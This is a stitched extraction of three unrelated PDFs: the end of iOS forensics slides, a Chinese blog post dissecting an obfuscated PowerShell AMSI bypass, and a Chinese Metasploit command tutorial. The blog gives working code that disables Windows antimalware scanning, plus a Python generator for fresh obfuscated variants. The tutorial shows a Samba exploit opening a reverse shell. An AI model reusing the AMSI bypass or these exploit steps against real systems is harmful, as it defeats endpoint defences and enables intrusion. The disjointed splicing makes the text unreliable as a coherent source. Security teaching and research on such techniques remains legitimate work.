• 0 – digits only, length = 4 (simple passcode)
• 1 – digits only, length ≠ 4
• 2 – contains non-digits, any length
Can identify weak
passcodes
33
iOS 4 Keychain
• SQLite3 DB, only passwords are encrypted
• Available protection classes:
– kSecAttrAccessibleWhenUnlocked (+ ...ThisDeviceOnly)
– kSecAttrAccessibleAfterFirstUnlock (+ ...ThisDeviceOnly)
– kSecAttrAccessibleAlways (+ ...ThisDeviceOnly)
• Random key for each item, AES-CBC
• Item key is protected with corresponding
protection class master key
0
Class
Wrapped
Item
Key
Encrypted
Item
0
4
8
48
34
iOS 4 Storage
• Only User partition is encrypted
• Available protection classes:
– NSProtectionNone
– NSProtectionComplete
• When no protection class set, EMF key is used
– Filesystem metadata and unprotected files
– Transparent encryption and decryption (same as pre-iOS 4)
• When protection class is set, per-file random key
is used
– File key protected with master key is stored in extended attribute
com.apple.system.cprotect
35
iPhone 4S
06/29/2007
iPhone
No known security enhancements in
hardware over iPhone 4
Shipped with iOS 5 with some
security improvements
07/11/2008
iPhone
3G
06/19/2009
iPhone
3GS
06/24/2010
iPhone
4
10/12/2011
iPhone
4S
36
iOS 5 Passcode
• Similar to iOS 4
• iPad 3 utilizes new hardware key UID+
–Algorithm is also slightly different
–No significant changes from practical point of view
37
iOS 5 Keychain
• All attributes are now encrypted (not only
password)
• AES-GCM is used instead of AES-CBC
• Enables integrity verification
2
Class
Wrapped
Key
Encrypted
Data
(+Integrity
Tag)
0
4
8
Wrapped
Key
Length
12
38
• New partition scheme
– “LwVM” – Lightweight Volume Manager
• Any partition can be encrypted
• New protection classes
– NSFileProtectionCompleteUntilFirstUserAuthentication
– NSFileProtectionCompleteUnlessOpen
• IV for file encryption is computed differently
iOS 5 Storage
39
KF
PubF
PubKB
PrivF
Generate random file key
(AES)
Generate file public/private
keys (ECC)
PrivKB
Master key from the
system keybag (ECC)
Shared
Secret
Encrypt
com.apple.
system.
cprotect
Creating the File
NSFileProtectionCompleteUnlessOpen
40
KF
PubF
PubKB
PrivF
File key
(AES)
File public/private
keys (ECC)
PrivKB
Master key from the
system keybag (ECC)
Decrypt
com.apple.
system.
cprotect
Reading the File
NSFileProtectionCompleteUnlessOpen
Shared
Secret
Requires a passcode
(if any)
41
KF
PubF
PubKB
PrivF
File key
(AES)
File public/private
keys (ECC)
PrivKB
Master key from the
system keybag (ECC)
Decrypt
com.apple.
system.
cprotect
Reading the File
NSFileProtectionCompleteUnlessOpen
Shared
Secret
Requires a passcode
(if any)
Looks
pre@y
much
like
BlackBerry
way
to
receive
emails
while
locked
:-‐)
42
43
iOS Forensics
• Acquiring disk image is not enough for iOS 4+
– Content protection keys must also be extracted from
the device during acquisition
– Effaceable Storage contents are also needed to decrypt
dd images.
• Passcode or escrow keybag is needed for a
complete set of master keys
• In real world it might be a good idea to extract
source data and compute protection keys offline
44
UID Key
Key 835
Key 89B
Passcode
Passcode Key
systembag.kb
Decrypt
KDF
‘EMF!’ / ‘LwVM’
‘Dkey’
‘BAG1’
Effaceable Storage
Class A Key (#1)
System Keybag (locked)
Class B Key (#2)
Class C Key (#3)
Class D Key (#4)
Class Key #5
…
Class Key #11
Decrypt
FS Key
Unlock
System Keybag
(unlocked)
Must be done on the device
Required to decrypt files/keychain
Sufficient for offline key reconstruction
iOS Forensics
45
iOS Forensics
iPhone
iPod Touch 1
iPhone 3G
iPod Touch 2
iPhone 3G
iPod Touch 2
iPhone 3GS
iPod Touch 3
iPad 1
iPhone 3GS
iPod Touch 3
iPad 1
iPhone 4
iPod Touch 4
iPhone 4S
iPad 2, iPad 3
(JB)
iOS version
3.1.3
3.1.3
4.2.1
3.1.3
5.1.1
5.1.1
5.0.1, 5.1.1
Physical
acquisition
+
+
+
+
+
Passcode
recovery
instant
instant
+
instant
+
+
Keychain
decryption
+
+
+
+
+
Disk decryption
not encrypted
not encrypted
not encrypted
not encrypted
+
+
46
Conclusions
• iPhone physical analysis is possible
• Physical acquisition requires boot-time exploit
• Passcode is usually not a problem
– Due to technology before iOS 4
– Due to human factor with iOS 4/5
• Both proprietary and open-source tools for iOS
4/5 acquisition are available
47
Thank You!
Questions?
48
Evolution of iOS Data Protection and
iPhone Forensics:
from iPhone OS to iOS 5
Andrey Belenko & Dmitry Sklyarov
Elcomsoft Co. Ltd.
49 | pdf |
对Bypass AMSI混淆篇中的代码浅析
L.N.师傅在最后给出了我一个代码,然而我发现我根本看不懂。虽然拿来就用确
实很爽,但是换个场景,过段时间或许就不可行了。于是学习了一下下面这段
代码到底在干吗。看了一下觉得关键代码是 $c=[string](0..37|%{[char]
[int](29+($a+$b).substring(($_*2),2))})-replace " " 于是对这串代
码做学习
# 0x01 代码解析
要弄懂的就是下面这几个问题:
1.0..37|%{}:其实这个感觉猜也能猜出来,循环的一种写法,循环38次
2. $_ 是个啥?说实话一开始我也弄不明白这到底是什么写法,后来直接就是在
powershell里面写一个:
$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
//对System.Management.Automation.AmsiUtils进行解码
$c=[string](0..37|%{[char][int](29+
($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
//对amsiInitFailed进行解码
$e=[string](38..51|%{[char][int](29+
($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
//组合起来执行
$f.SetValue($null,$true)
0..10|%{echo($_)}
似乎是获取当前循环的值
知道了这个,接着弄懂这个语句:
主要就是 substring 这个函数,以及 $_*2,2 在这里是做什么的:
原来就是 取两位数 出来:其实也不难理解。当 $_=0 时,取两位( [0] [1] );当
$_=1 时,肯定需要乘以2在往后取两位,这样才能取出来 [2] [3] 以此类推。
3.就是 -replace " "了。这个似乎是powershell的一个特性:
可以看到在转换之后每个字符中都会出现空格 这也是为什么我们要去掉空格的原
因。
4.29+.....
ASCII码中对于字母是有两位数字和三位数字的,而咱们现在的这个程序只能取出两
位数字,所以需要把数字全部转到两位数字的范畴。
($a+$b).substring(($_*2),2))
$a="546579"
0..2|%{echo($a.Substring(($_*2),2))}
5.$a,$b怎么来的:每个字符转ASCII再减去29,最后把结果随机分割成两部分。
# 0x02 代码实现
最后写一个简单的python脚本(可能脚本写的比较不雅观,但至少达到了可以用的境
界)
最后生成一下:
payload1='System.Management.Automation.AmsiUtils'
payload2='amsiInitFailed'
key=29 #偏差是多少 比如这里是29
payload=payload1+payload2
result=''
for i in payload:
result+=str(ord(i)-key)#ASCII每个字符再减去key的值
print('$a="'+result[0:len(result)//2]+'"')#分割,这里对半分的。注意在
这里面的除法需要两个/
print('$b="'+result[len(result)//2:]+'"')
print('$c=[string](0..'+str(len(payload1)-1)+'|%{[char][int]
('+str(key)+'+($a+$b).substring(($_*2),2))})-replace " "')#解码语
句,应用到别的bypass场景或许也可以
print("$d=[Ref].Assembly.GetType($c)")
print('$e=[string]
('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+'|%
{[char][int]('+str(key)+'+($a+$b).substring(($_*2),2))})-replace
" "')#关键解码语句
print("$f=$d.GetField($e,'NonPublic,Static')")
print("$f.SetValue($null,$true)")
效果:
可以随便改变这个 29 的值,分割长度也可以随便改 | pdf |
Metasploit 基础知识
整理此文档,纯粹出于兴趣爱好,如果有涉及版权的问题,请联系原文档的作者.
由于本人能力有限,文档中难免会有些错误,欢迎大家来信指正.
[原文]http://www.offensive-security.com/metasploit-unleashed/
Metasploit 基础知识
Metasploit 框架提供了多种不同的接口,每个接口都有自己的优势与不足。尽管如此,目前仍
没有一个很好的接口用于使用 MSF(尽管 msfconsole 能够访问 Metasploit 的众多特性)。当
然,了解熟悉 MSF 提供的所有接口,多工作还是很有效的。
Msfcli
Msfcli 为 framework 提供了一个强劲的命令行接口.
root@kali:~# msfcli -h
Usage: /opt/metasploit/msf3/msfcli <exploit_name> <option=value> [mode]
=======================================================================
Mode Description
---- -----------
(A)dvanced 查看模块可用的一些高级参数
(AC)tions 显示附加模块的可用操作
(C)heck 对所选模块进行常规检查
(E)xecute 执行所选模块
(H)elp 显示 Msfcli 帮助信息
(I)DS Evasion 显示模块可用的 IDS 逃逸机制
(O)ptions 显示模块参数选项
(P)ayloads 显示模块可用的攻击载荷
(S)ummary 显示模块的整体信息
(T)argets 显示溢出模块可选的目标类型
msfcli 使用 “=” 为参数选项赋值,所有选项对大小写敏感。
root@kali:~# msfcli exploit/multi/samba/usermap_script
RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E
[*] Please wait while we load the module tree...
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
RHOST => 172.16.194.172
PAYLOAD => cmd/unix/reverse
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cSKqD83oiquo0xMr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "cSKqD83oiquo0xMr\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 ->
172.16.194.172:57682) at 2012-06-14 09:58:19 -0400
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC
2008 i686 GNU/Linux
如果你不清楚某个模块有哪些参数,可以在所选模块字符串后面加上大写字母’O’.
root@kali:~# msfcli exploit/multi/samba/usermap_script O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 139 yes The target port
如果想要知道所选模块有哪些攻击载荷可用,可以在字符串后加大写字母’P’
root@bt:~# msfcli exploit/multi/samba/usermap_script P
[*] Please wait while we load the module tree...
Compatible payloads
===================
Name Description
---- -----------
cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent)
cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_netcat_ipv6 Listen for a connection and spawn a command shell via netcat
cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl
cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl
cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby
cmd/unix/generic Executes the supplied command
cmd/unix/reverse Creates an interactive shell through two inbound connections
cmd/unix/reverse_netcat Creates an interactive shell via netcat
cmd/unix/reverse_perl Creates an interactive shell via perl
cmd/unix/reverse_python Connect back and create a command shell via Python
cmd/unix/reverse_ruby Connect back and create a command shell via Ruby
其他可用的选项,请参阅”msfcli -h”
msfcli 的优点:
能够直接执行溢出和附加模块
对指定的任务很有效
有益于了解学习 MSF
为测试或开发一个新的溢出模块提供了便利
为完成一次性溢出提供了便利
如果你已了解溢出模块和所需选项,使用 msfcli 非常不错
在脚本和自动化操作中也很不错
msfcli 的不足:
很多方面并不像 msfconsole 那样出色
每次只能处理一个 shell
无法胜任客户端攻击任务
不支持 msfconsole 的高级自动化操作
Msfconsole
msfconsole 可能是 MSF 最流行的一个接口,它提供了一个高度集中的控制台,允许你显示
Metasploit 框架所有可用的参数选项。第一次接触 msfconsole 可能很吓着你,一旦你熟悉这
些命令的语法,你就能体会到这个接口的强大。
内容
1. 优点
2. 运行
3. 帮助
4. Tab 自动完成
优点
唯一的一种能够访问 Metasploit 众多特性的途径
为 Metasploit 框架提供了一个基于命令行的接口
包含 MSF 众多特性且最稳定的接口
支持行读取,tab 功能及命令自动补全
可以执行某些外部命令
msf > ping -c 2 www.google.com
[*] exec: ping -c 2 www.google.com
PING www.google.com (173.194.72.147) 56(84) bytes of data.
64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=1 ttl=46
time=62.2 ms
64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=2 ttl=46
time=69.8 ms
--- www.google.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 62.274/66.039/69.805/3.774 ms
msf >
运行
运行 msfconsole,只需在命令行窗口输入’msfconsole’。
msfconsole 位于/opt/metasploit/apps/pro/msf3 目录。
root@kali:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|`.""'.
II 6. .P : .' / | `. :
II 'T;. .;P' '.' / | `.'
II 'T; ;P' `. / | .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf >
帮助
使用’msfconsole -h’,查看参数的具体用法。
root@kali:/# msfconsole -h
Usage: msfconsole [options]
Specific options:
-d Execute the console as defanged
-r <filename> Execute the specified resource
file
-o <filename> Output to the specified file
-c <filename> Load the specified configuration
file
-m <directory> Specifies an additional module
search path
-p <plugin> Load a plugin on startup
-y, --yaml <database.yml> Specify a YAML file containing
database settings
-M, --migration-path <dir> Specify a directory containing
additional DB migrations
-e <production|development>, Specify the database environment
to load from the YAML
--environment
-v, --version Show version
-L, --real-readline Use the system Readline library
instead of RbReadline
-n, --no-database Disable database support
-q, --quiet Do not print the banner on start
up
Common options:
-h, --help Show this message
在 msfconsole 接口中使用’help’ 或 ’?’,可以查看可用命令列表。
msf > help
Core Commands
=============
Command Description
------- -----------
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
quit Exit the console
reload_all Reloads all modules from all defined module paths
resource Run the commands stored in a file
...snip...
Tab 自动完成
设计开发 Msfconsole 的一个目的就是快速使用,其中的一个特性就是 tab 自动完成。由于可用
模块有大量的分组,所以很难记住所需模块的名字和路径。同其他 shell 一样,输入你知道的内
容,然后使用‘Tab’键,将会显示可用选项列表。Tab 自动完成功能依赖 ruby readline 扩
展,几乎控制台下的所有命令都支持 tab 自动补全。
use exploit/windows/dce
use .*netapi.*
set LHOST
show
set TARGET
set PAYLOAD windows/shell/
exp
msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms06_070_wkssvc
use exploit/windows/smb/ms07_029_msdns_zonename
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
use exploit/windows/smb/ms10_061_spoolss
msf > use exploit/windows/smb/ms08_067_netapi
Msfconsole Commands
Msfconsole 有许多不同的命令选项可供选择.
内容
1 back
2 check
3 connect
4 info
5 irb
6 jobs
7 load
7.1 loadpath
7.2 unload
8 resource
9 route
10 search
10.1 help
10.2 name
10.3 path
10.4 platform
10.5 type
10.6 author
10.7 multiple
11 sessions
12 set
12.1 unset
13 setg
14 show
14.1 auxiliary
14.2 exploits
14.3 payloads
14.3.1 payloads
14.3.2 options
14.3.3 targets
14.3.4 advanced
14.4 encoders
14.5 nops
15 use
back
当你完成某个模块的工作,或者不经意间选择了错误的模块,你可以使用‘back’命令来
跳出当前模块。当然,这并不是必须的。你也可以直接转换到其他模块。
msf auxiliary(ms09_001_write) > back
msf >
msf exploit(ms08_067_netapi) > use multi/handler
msf exploit(handler) > use auxiliary/dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) >
check
check 可以用于检测目标主机是否存在指定漏洞,这样的不用直接对他进行溢出。目前,支持
check 命令的 exploit 并不是很多。
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 172.16.194.134 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,
SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf exploit(ms08_067_netapi) >
connect
msfconsole 有一个小型的 netcat 克隆体,支持 SSL,proxies,pivoting,file
sends。’connect’命令加 IP 地址和 Port,你就可以在 msfconsole 中与远程主机
建立连接,等效于 netcat 和 telnet。
msf > connect 127.0.0.1 21
[*] Connected to 127.0.0.1:21
id
uid=0(root) gid=0(root) groups=0(root)
使用”connect –h”查阅具体参数列表
msf > connect -h
Usage: connect [options]
Communicate with a host, similar to interacting via netcat, taking
advantage of
any configured session pivoting.
OPTIONS:
-C Try to use CRLF for EOL sequence.
-P <opt> Specify source port.
-S <opt> Specify source address.
-c <opt> Specify which Comm to use.
-h Help banner.
-i <opt> Send the contents of a file.
-p <opt> List of proxies to use.
-s Connect with SSL.
-u Switch to a UDP socket.
-w <opt> Specify connect timeout.
-z Just try to connect, then return.
msf >
info
’info’命令可以查看模块的具体信息,包括所有选项,目标主机和一些其他的信息。在使用模块
前,阅读模块相关的信息,有时候会达到不可预期的效果。
Info 获取的信息有:
作者和证书信息
漏洞参考(例如: CVE, BID 等)
模块使用攻击载荷时的限制
msf > info exploit/windows/smb/ms10_061_spoolss
Name: Microsoft Print Spooler Service Impersonation
Vulnerability
Module: exploit/windows/smb/ms10_061_spoolss
Version: 15518
Platform: Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Provided by:
jduck <[email protected]>
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 Windows Universal
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PNAME no The printer share name to use on
the target
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE spoolss no The named pipe for the spooler
service
Payload information:
Space: 1024
Avoid: 0 characters
Description:
This module exploits the RPC service impersonation vulnerability
detailed in Microsoft Bulletin MS10-061. By making a specific DCE
RPC request to the StartDocPrinter procedure, an attacker can
impersonate the Printer Spooler service to create a file. The
working directory at the time is %SystemRoot%\system32. An attacker
can specify any file name, including directory traversal or full
paths. By sending WritePrinter requests, an attacker can fully
control the content of the created file. In order to gain code
execution, this module writes to a directory used by Windows
Management Instrumentation (WMI) to deploy applications. This
directory (Wbem\Mof) is periodically scanned and any new .mof files
are processed automatically. This is the same technique employed by
the Stuxnet code found in the wild.
References:
http://www.osvdb.org/67988
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2729
http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx
msf >
irb
使用命令’irb’,就可以进入 Ruby 的 shell 接口,这个特性有助于了解 Metasploit 的内部框
架.
msf > irb
[*] Starting IRB shell...
>> puts "Metasploit-Ruby Shell"
Metasploit-Ruby Shell
=> nil
>> Framework::Version
=> "4.5.0-dev"
>> framework.modules.keys.length
=> 255
>>
jobs
任务指那些运行在后台的模块,’jobs’可以用于列举和终止这些任务。
msf > jobs -h
Usage: jobs [options]
Active job manipulation and interaction.
OPTIONS:
-K Terminate all running jobs.
-h Help banner.
-i <opt> Lists detailed information about a running job.
-k <opt> Terminate the specified job name.
-l List all running jobs.
-v Print more detailed info. Use with -i and -l
msf >
load
load 命令用于从 Metasploit’s 插件目录加载一个插件.使用”key=val”形式来传递
参数.
msf > load
Usage: load [var=val var=val ...]
Loads a plugin from the supplied path. If path is not absolute, fist
looks
in the user's plugin directory (/root/.msf4/plugins) then
in the framework root plugin directory (/opt/metasploit/msf3/plugins).
The optional var=val options are custom parameters that can be passed
to plugins.
msf > load pcap_log
[*] PcapLog plugin loaded.
[*] Successfully loaded plugin: pcap_log
loadpath
’loadpath’命令可以使用指定的路径,加载第三方的模块.
msf > loadpath /home/secret/modules
Loaded 0 modules.
unload
解除先前加载的模块和扩展的命令。
msf > unload pcap_log
Unloading plugin pcap_log...unloaded.
resource
’resource’命令可以执行资源(批量)文件
msf > resource
Usage: resource path1 [path2 ...]
Run the commands stored in the supplied files. Resource files may also
contain
ruby code between tags.
See also: makerc
msf >
有些类似 Karmetasploit 这样的攻击,使用资源文件(karma.rc)来执行一系列的命令。稍后
我们会探讨如何使用。
msf > resource karma.rc
[*] Processing karma.rc for ERB directives.
resource (karma.rc)> db_connect msf3:[email protected]:7175/msf3
resource (karma.rc)> use auxiliary/server/browser_autopwn
...snip...
批量处理的文件极大的加快了开发测试和自动化大量任务的进度,我们也可以使用’-r’来指定一
个批量文件.
root@kali:~# echo version > version.rc
root@kali:~# msfconsole -r version.rc
_ _
/ \ / \ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | |_ \__/ | | | |_
|/ |____/ \___\/ /\ \___/ \/ \__| |_\ \___\
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 936 exploits - 500 auxiliary - 151 post
+ -- --=[ 252 payloads - 28 encoders - 8 nops
=[ svn r15767 updated today (2012.08.22)
[*] Processing version.rc for ERB directives.
resource (version.rc)> version
Framework: 4.4.0-dev.15205
Console : 4.4.0-dev.15168
msf >
route
’route’命令,允许通过已建立的会话,建立 route 套接字,提供基本的隧道特性。
meterpreter > route -h
Usage: route [-h] command [args]
Display or modify the routing table on the remote machine.
Supported commands:
add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]
list
meterpreter >
meterpreter > route
Network routes
==============
Subnet Netmask Gateway
------ ------- -------
0.0.0.0 0.0.0.0 172.16.1.254
127.0.0.0 255.0.0.0 127.0.0.1
172.16.1.0 255.255.255.0 172.16.1.100
172.16.1.100 255.255.255.255 127.0.0.1
172.16.255.255 255.255.255.255 172.16.1.100
224.0.0.0 240.0.0.0 172.16.1.100
255.255.255.255 255.255.255.255 172.16.1.100
search
msfconsole 包含一个基于正则查询的功能.如果你知道你想要查找的内容,你可以通过‘关键字’
来搜索。下面的输出,表明我们完成了一次 MS Bulletin MS09-011 的搜索.这个查询方法会通
过字符串来定位模块名,描述,参考等.
msf > search ms08_067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server
Service Relative Path Stack Corruption
help
你可以使用内置关键字进一步优化你的操作.
msf > help search
Usage: search [keywords]
Keywords:
name : Modules with a matching descriptive name
path : Modules with a matching path or reference name
platform : Modules affecting this platform
type : Modules of a specific type (exploit, auxiliary, or post)
app : Modules that are client or server attacks
author : Modules written by this author
cve : Modules with a matching CVE ID
bid : Modules with a matching Bugtraq ID
osvdb : Modules with a matching OSVDB ID
Examples:
search cve:2009 type:exploit app:client
msf >
name
使用 name 做为关键字进行查询
msf > search name:http_enum
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/http/enum_delicious normal Del.icio.us Domain Links (URLs)
Enumerator
auxiliary/scanner/http/enum_wayback normal Archive.org Stored Domain URLs
msf >
path
使用 path 进行关键字查询.
msf > search path:scada
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/scada/igss_exec_17 2011-03-21 normal Interactive Graphical SCADA System
Remote Command Injection
exploit/windows/scada/citect_scada_odbc 2008-06-11 normal CitectSCADA/CitectFacilities ODBC
Buffer Overflow
...snip...
platform
使用 platform 作为关键字,查找指定平台可用模块.
msf > search platform:osx
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/browser/java_rhino 2011-10-18 00:00:00 UTC excellent Java Applet Rhino
Script Engine Remote Code Execution
exploit/osx/browser/safari_file_policy 2011-10-12 00:00:00 UTC normal Apple Safari file://
Arbitrary Code Execution
type
使用 type 做为关键字,指定模块类型为 auxiliary, post, exploit 等进行查询.
msf > search type:post
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
post/aix/hashdump normal AIX Gather Dump Password
Hashes
post/cisco/gather/enum_cisco normal Gather Cisco Device General
Information
post/linux/gather/checkvm normal Linux Gather Virtual
Environment Detection
post/linux/gather/enum_configs normal Linux Gather Configurations
author
以”author”做为关键字查询你最喜欢的作者.
msf > search author:[email protected]
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/vmware/poweroff_vm normal VMWare Power Off Virtual
Machine
auxiliary/admin/vmware/poweron_vm normal VMWare Power On Virtual
Machine
auxiliary/admin/vmware/tag_vm normal VMWare Tag Virtual Machine
auxiliary/admin/vmware/terminate_esx_sessions normal VMWare Terminate ESX Login
Sessions
auxiliary/scanner/mssql/mssql_hashdump
normal MSSQL Password Hashdump
multiple
可以使用多个关键字进行查询,
msf > search cve:2011 author:jduck platform:linux
sessions
‘sessions’允许你列举,使用,杀掉已有的会话。会话可以是 shells,Meterreter,VNC 等.
msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K 关闭所有会话
-c <opt> 使用-i 指定某个会话执行这个命令,
-d <opt> 从一个交互式的会话中分离出来
-h 打印帮助信息
-i <opt> 指定 ID 进入会话
-k <opt> 关闭某个会话
-l 列举所有活动的会话
-q 静默模式
-r 重置-i 指定会话对应的 the ring 缓冲区, 或所有的
-s <opt> 对-i 会话执行脚本, 或所有
-u <opt> 将 shell 转为 Meterpreter 会话
-v 查看详细信息
set
‘set’命令允许你配置 Framework 当前模块的选项和参数.
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.100.137
LHOST => 192.168.100.137
msf exploit(handler) > show options
Metasploit 允许你在执行 exploit 的时候设定一个编码器,在溢出代码开发过程中,你不确定
哪个编码器对溢出代码有效时,这个就非常有用。
msf exploit(ms09_050_smb2_negotiate_func_index) > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
generic/none normal The "none" Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
unset
’unset’与’set’命令相反,用于解除’set’先前的设定。可以使用’unset all’来移除所有已
声明的变量。
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set
Global
======
No entries in data store.
msf >
setg
如果想要保存渗透过程中输入的内容,你可以使用 setg 设置全局变量,一旦设置,将在众多的
exploits 和 auxiliary 模块中生效。你可以使用’save’命令保存设置,,以便下次开启
msfconsole 时直接生效。
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
msf > save
Saved configuration to: /root/.msf3/config
msf >
show
在 msfconsole 窗口输入’show’命令,可以查看 Metasploit 的每个模块.
Show 可查阅的模块类型有 all, encoders, nops, exploits, auxiliary,
exploits, plugins, options.模块参数也可以查看,例如:advanced, evasion,
targets, actions.
show payloads
msf > show payloads
Payloads
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve shell for inetd
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
show options
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
show targets
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
10 Windows 2003 SP1 Japanese (NO NX)
11 Windows 2003 SP2 English (NO NX)
12 Windows 2003 SP2 English (NX)
...snip...
show advanced
msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port
...snip...
encoders
’show encoders’显示 MSF 内置可用的编码器.
msf > show encoders
Compatible Encoders
===================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
